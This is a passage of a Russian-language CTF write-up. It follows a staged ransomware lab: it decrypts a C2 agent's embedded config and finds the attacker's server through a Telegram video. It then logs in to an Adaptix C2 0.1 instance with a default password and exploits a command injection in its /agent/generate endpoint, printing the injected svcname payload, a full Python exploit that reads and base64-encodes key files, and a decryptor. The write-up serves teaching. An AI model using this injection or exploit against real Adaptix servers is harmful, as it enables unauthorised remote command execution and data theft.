  <p id="nenD">1. Прочитать первые 15 байт заголовка<br />2. Проверить magic/version/algo ids<br />3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian<br />4. Извлечь keyenc, nonce, ciphertext<br />5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256<br />6. Получить AES_key<br />7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil</p>
  <p id="gbhK">Но в GS-encrypt приватного ключа RSA не найдено, идем дальше</p>
  <p id="KWPZ"></p>
  <p id="naJp">agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.</p>
  <p id="VvDq">в main_main вызывается net_Dial</p>
  <figure id="BCyR" class="m_column">
    <img src="https://img3.teletype.in/files/af/5a/af5a70c1-9e43-4b2b-b0cb-479d6fe9f683.png" width="957" />
  </figure>
  <p id="aYQw">которой в параметры передается ip/domain сервера, который хранится в qword_A23888.</p>
  <p id="LwGH">До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.</p>
  <figure id="VkpG" class="m_column">
    <img src="https://img2.teletype.in/files/58/fd/58fd58f5-733b-424f-930f-8b8d3ddc975f.png" width="1562" />
  </figure>
  <p id="yJls">который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888</p>
  <p id="oL6E">Данные которые дешифруются лежат в off_A17B30 -&gt; off_A17B50 -&gt; unk_9F59A0 <br /></p>
  <figure id="qmiF" class="m_column">
    <img src="https://img3.teletype.in/files/2b/f2/2bf2f969-8481-4d6c-8585-d464c1c1417f.png" width="1440" />
  </figure>
  <p id="hKeK">Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)</p>
  <p id="Kr2I">Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce</p>
  <p id="xHeG">key (16 bytes):<br />51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E</p>
  <p id="EmUE">nonce:<br /> 7E 11 7D 14 AF D7 3F 92 06 9E F2 FC</p>
  <p id="gcHK">encrypted+tag:<br /> 6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC<br /> 76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB<br /> 26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81<br /> 36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0<br /> F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7<br /> AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D<br /> 6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5</p>
  <p id="S3HE">Расшифровав и распарсив msgpack, получаем </p>
  <pre id="vyj7">{
  &quot;type&quot;: 2421052563,
  &quot;addresses&quot;: [
    &quot;cc.gigashad.xyz:4444&quot;
  ],
  &quot;banner_size&quot;: 17,
  &quot;conn_timeout&quot;: 10,
  &quot;conn_count&quot;: 1000000000,
  &quot;use_ssl&quot;: false,
  &quot;ssl_cert&quot;: null,
  &quot;ssl_key&quot;: null,
  &quot;ca_cert&quot;: null
}</pre>
  <p id="ORtA">Нашли домен и порт c2 сервера, будем копать туда.</p>
  <h2 id="wd8R">Шаг 3. Gigashad</h2>
  <p id="Gjo4">На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.</p>
  <figure id="0zWN" class="m_column">
    <img src="https://img4.teletype.in/files/fd/ea/fdea01ce-41ce-4a66-ae8f-7b07d5b35703.png" width="1520" />
  </figure>
  <p id="gNUV">В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.</p>
  <figure id="ILCz" class="m_column">
    <img src="https://img1.teletype.in/files/03/2e/032e824b-6842-45bd-b7a5-12324a1e3d04.png" width="693" />
  </figure>
  <p id="ftvg">В этом видео он &quot;случайно&quot; сливает важную информацию:</p>
  <p id="F3Ej">Содержимое корневой директории</p>
  <figure id="Xqaa" class="m_column">
    <img src="https://img3.teletype.in/files/e9/73/e9730212-2202-4e52-8176-475b3afeae5d.png" width="2269" />
  </figure>
  <p id="dRKd">Дату съемки видео</p>
  <figure id="dlsl" class="m_original">
    <img src="https://img1.teletype.in/files/08/16/081648bb-9a33-4ca0-a3ae-0e9ead7bfd48.png" width="162" />
  </figure>
  <p id="zFRY">Запуск сервера на стандартном профиле</p>
  <figure id="dj6K" class="m_column">
    <img src="https://img4.teletype.in/files/7a/a3/7aa3eef6-3b58-4014-a1a1-a92d20b6ba97.png" width="1554" />
  </figure>
  <p id="HJuo">Пароль из 4 символов и имя аккаунта</p>
  <figure id="k0jj" class="m_original">
    <img src="https://img2.teletype.in/files/d3/e0/d3e0f9b5-6c92-42b7-a2b7-74b5f2d7fb24.png" width="739" />
  </figure>
  <p id="nKXr">Все для подключения к серверу</p>
  <figure id="264w" class="m_original">
    <img src="https://img3.teletype.in/files/69/13/691324a8-0819-427f-8706-995356fa03af.png" width="721" />
  </figure>
  <h2 id="2wnw">Шаг 4. Adaptix C2 0.1</h2>
  <p id="RLrf">Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1</p>
  <p id="Nf3L">Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:</p>
  <figure id="etxI" class="m_original">
    <img src="https://img4.teletype.in/files/33/b1/33b1b2b6-9fe6-47d9-a435-07261ca6f0e1.png" width="737" />
  </figure>
  <p id="U03N">Пароль по умолчанию - pass</p>
  <p id="h7n0">У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.</p>
  <figure id="i6gR" class="m_column">
    <img src="https://img4.teletype.in/files/70/a8/70a8e986-fec7-4324-ad7a-71ea0e368b53.png" width="1237" />
  </figure>
  <p id="5nm8">Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.</p>
  <p id="52BJ">Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.</p>
  <p id="ONjM">Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:</p>
  <pre id="V07y">{
  &quot;os&quot;: &quot;windows&quot;,
  &quot;arch&quot;: &quot;x64&quot;,
  &quot;format&quot;: &quot;Exe&quot;,
  &quot;sleep&quot;: &quot;4s&quot;,
  &quot;jitter&quot;: 0,
  &quot;svcname&quot;: &quot;AgentService&quot;
}</pre>
  <p id="3vuS">Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.</p>
  <p id="iAW0">pl_agent.go</p>
  <pre id="s2we" data-lang="go">agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf(&quot;%s %s %s/config.cpp -DSERVICE_NAME=&#x27;\&quot;%s\&quot;&#x27; -DPROFILE=&#x27;\&quot;%s\&quot;&#x27; -DPROFILE_SIZE=%d -o %s/config.o&quot;,
    Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)

runnerCmdConfig := exec.Command(&quot;sh&quot;, &quot;-c&quot;, cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &amp;stdout
runnerCmdConfig.Stderr = &amp;stderr
err = runnerCmdConfig.Run()
if err != nil {
    os.RemoveAll(tempDir)
    return nil, &quot;&quot;, errors.New(string(stderr.Bytes()))
}</pre>
  <p id="EO6D">svcname подставлялось в команду вместо <code>-DSERVICE_NAME=&#x27;\&quot;%s\&quot;&#x27;</code>, и если в svcname подать пейлоад типа <code>x&#x27; ; ({cmd}) &gt;&amp;2; exit 1; #</code>, то agent/generate вместо бинаря возвращал вывод команды cmd.</p>
  <p id="fLSk">Перед отправлением этой команды, необходимо создать listener на /listener/create.</p>
  <p id="3SKn">Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:</p>
  <pre id="3L5M" data-lang="python">import base64
import json
import secrets

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = &quot;https://lab.gigashad.xyz:4321/endpoint&quot;
DIR = &quot;/DECRYPTION_KEYS/Northwind_Coffee_Roasters&quot;

r = requests.post(f&quot;{URL}/login&quot;, json={&quot;username&quot;: &quot;gigashad&quot;, &quot;password&quot;: &quot;pass&quot;}, verify=False, timeout=15)
token = r.json()[&quot;access_token&quot;]
headers = {&quot;Authorization&quot;: f&quot;Bearer {token}&quot;, &quot;Content-Type&quot;: &quot;application/json&quot;}

name = &quot;L&quot; + secrets.token_hex(4)
listener = {
    &quot;host_bind&quot;: &quot;0.0.0.0&quot;,
    &quot;port_bind&quot;: &quot;9999&quot;,
    &quot;callback_port&quot;: &quot;9999&quot;,
    &quot;callback_servers&quot;: &quot;lab.gigashad.xyz&quot;,
    &quot;urn&quot;: &quot;/beacon.php&quot;,
    &quot;http_method&quot;: &quot;POST&quot;,
    &quot;hb_header&quot;: &quot;X-Beacon-Id&quot;,
    &quot;user_agent&quot;: &quot;Mozilla/5.0&quot;,
    &quot;host_header&quot;: &quot;&quot;,
    &quot;request_headers&quot;: &quot;&quot;,
    &quot;x-forwarded-for&quot;: False,
    &quot;page-error&quot;: &quot;404&quot;,
    &quot;page-payload&quot;: &quot;OK &lt;&lt;&lt;PAYLOAD_DATA&gt;&gt;&gt; DONE&quot;,
    &quot;server_headers&quot;: &quot;&quot;,
}
requests.post(
    f&quot;{URL}/listener/create&quot;,
    headers=headers,
    json={&quot;name&quot;: name, &quot;type&quot;: &quot;external/http/BeaconHTTP&quot;, &quot;config&quot;: json.dumps(listener)},
    verify=False,
    timeout=20,
)

svc = f&quot;x&#x27; ; (cat {DIR}/* | base64 -w0) &gt;&amp;2; exit 1; #&quot;
agent = {
    &quot;listener_name&quot;: name,
    &quot;listener_type&quot;: &quot;external/http/BeaconHTTP&quot;,
    &quot;agent&quot;: &quot;beacon&quot;,
    &quot;config&quot;: json.dumps({&quot;os&quot;: &quot;windows&quot;, &quot;arch&quot;: &quot;x64&quot;, &quot;format&quot;: &quot;Exe&quot;, &quot;sleep&quot;: &quot;1s&quot;, &quot;jitter&quot;: 0, &quot;svcname&quot;: svc}),
}
r = requests.post(f&quot;{URL}/agent/generate&quot;, headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()[&quot;message&quot;].splitlines() if x.strip()][-1]

open(&quot;recovered_keys.bin&quot;, &quot;wb&quot;).write(base64.b64decode(data))
print(&quot;saved recovered_keys.bin&quot;)</pre>
  <p id="vUzK">В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.</p>
  <h2 id="nT8P">Шаг 5. Финал</h2>
  <p id="jIpp">Осталось лишь написать дешифатор для расшифровки файлов из образа:</p>
  <pre id="sFW8" data-lang="python">import argparse
import re
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA


def load_private_key(path: Path):
    data = path.read_text(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
    m = re.search(
        r&quot;-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----&quot;,
        data,
        re.S,
    )
    if not m:
        raise ValueError(&quot;private RSA key not found&quot;)
    return RSA.import_key(m.group(0))


def parse_gsenc(data: bytes):
    if len(data) &lt; 15:
        raise ValueError(&quot;file too short&quot;)
    if data[:4] != b&quot;HFL1&quot;:
        raise ValueError(&quot;bad magic&quot;)

    version = data[4]
    key_algo = data[5]
    data_algo = data[6]
    key_len = int.from_bytes(data[7:9], &quot;big&quot;)
    nonce_len = int.from_bytes(data[9:11], &quot;big&quot;)
    ct_len = int.from_bytes(data[11:15], &quot;big&quot;)

    if version != 1 or key_algo != 1 or data_algo != 1:
        raise ValueError(f&quot;unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}&quot;)

    pos = 15
    keyenc = data[pos:pos + key_len]
    pos += key_len
    nonce = data[pos:pos + nonce_len]
    pos += nonce_len
    ciphertext = data[pos:pos + ct_len]

    if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
        raise ValueError(&quot;truncated container&quot;)
    return keyenc, nonce, ciphertext


def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
    keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
    priv = load_private_key(key_path)
    aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
    plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
    out_path.write_bytes(plain)
    return plain


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&quot;enc&quot;, nargs=&quot;?&quot;, default=&quot;flag.txt.GSenc&quot;)
    ap.add_argument(&quot;-k&quot;, &quot;--key&quot;, default=&quot;recovered_keys.bin&quot;)
    ap.add_argument(&quot;-o&quot;, &quot;--out&quot;)
    a = ap.parse_args()

    enc = Path(a.enc)
    out = Path(a.out or enc.with_suffix(&quot;&quot;))
    plain = decrypt_file(enc, Path(a.key), out)
    print(f&quot;saved {out}&quot;)
    try:
        print(plain.decode())
    except UnicodeDecodeError:
        print(plain)


if __name__ == &quot;__main__&quot;:
    main()</pre>
  <p id="l2bP">После расшифровки flag.txt.GSenc, получили флаг:</p>
  <figure id="P1nx" class="m_original">
    <img src="https://img1.teletype.in/files/49/10/4910c05d-779e-4106-bacf-6cb7ca085584.png" width="757" />
  </figure>

]]></content:encoded></item></channel></rss>